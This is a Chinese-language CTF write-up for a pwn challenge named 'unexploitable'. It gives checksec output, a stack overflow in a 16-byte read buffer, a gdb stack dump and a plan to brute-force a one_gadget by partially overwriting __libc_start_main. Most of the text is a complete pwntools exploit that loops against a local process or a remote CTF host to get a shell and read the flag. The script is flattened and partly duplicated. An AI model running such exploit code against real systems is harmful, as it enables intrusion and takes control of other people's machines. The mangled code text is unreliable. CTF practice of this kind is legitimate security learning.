1 2 3 4 5 6 unexploitable: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 3.2 .0 , BuildID[sha1]=5 d66afeabecb7b7190cfbdbc4bb6b5846c896e2a, stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
64位,dynamically,Full RELRO,NX,PIE
入侵思路
1 2 3 4 5 6 ssize_t pwn () { char buf[16 ]; return read(0 , buf, 0x30000 uLL); }
只有一个栈溢出,没法泄露,没有后门
先进行调试,断点到 pwn
返回之前:
1 2 3 4 5 6 7 8 00 :0000 │ rsp 0x7ffc641e9d38 —▸ 0x564dcdc0070a ◂— add byte ptr [rax - 0x7b ], cl01 :0008 │ 0x7ffc641e9d40 —▸ 0x564dcdc00810 ◂— push r1502 :0010 │ 0x7ffc641e9d48 —▸ 0x7f535f4dec87 (__libc_start_main+231 ) ◂— mov edi, eax03 :0018 │ 0x7ffc641e9d50 ◂— 0x1 04 :0020 │ 0x7ffc641e9d58 —▸ 0x7ffc641e9e28 —▸ 0x7ffc641ea270 ◂— './unexploitable' 05 :0028 │ 0x7ffc641e9d60 ◂— 0x10000c000 06 :0030 │ 0x7ffc641e9d68 —▸ 0x564dcdc007f1 ◂— push rbp07 :0038 │ 0x7ffc641e9d70 ◂— 0x0
我们唯一的机会就是爆破 __libc_start_main
为 one_gadget
但 __libc_start_main
前面还有两个地址,我们不能覆盖
有一个方法可以不破坏栈,并且修改 __libc_start_main
:
利用 pwn
中的溢出覆盖 pwn
的返回地址为 pwn
,这样就相当于 pop
掉了一个地址
重复上述操作,直到可以覆盖 __libc_start_main
覆盖最后 4*4 bit
,最后 3*4 bit
位恒定,每次都有 1/16 的概率可以命中
覆盖 __libc_start_main
的 3*4 bit
,每次都有 1/4096 的概率可以命中
八字硬点还是可以拿到 flag 的
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from signal import pausefrom pwn import *arch = 64 challenge = './unexploitable' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) libc = ELF('libc-2.27.so' ) local = 1 def debug (): gdb.attach(p,"b *$rebase(0x7F0)\n" ) pause() from pwn import *arch = 64 challenge = './unexploitable' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) libc = ELF('libc-2.27.so' ) local = 1 def debug (): gdb.attach(p,"b *$rebase(0x7F0)\n" ) pause() one_gadgets = [0x4f2a5 ,0x4f302 ,0x10a2fc ] up_gadgets = [0x1e92a5 ,0x1e9302 ,0x2a42fc ] while (1 ): try : if local: p = process(challenge) else : p = remote('chuj.top' , '53178' ) payload = 'a' *0x10 + 'b' *0x8 payload += p16(0x07D0 ) p.send(payload) p.send(payload) payload = 'a' *0x10 + 'b' *0x8 payload += p8(0xfc ) + p8(0x42 ) + p8(0x2a ) p.send(payload) sleep(0.001 ) p.sendline('cat flag' ) flag = p.recv() success("flag >> " +flag) p.interactive() p.close() except Exception: p.close() p.interactive()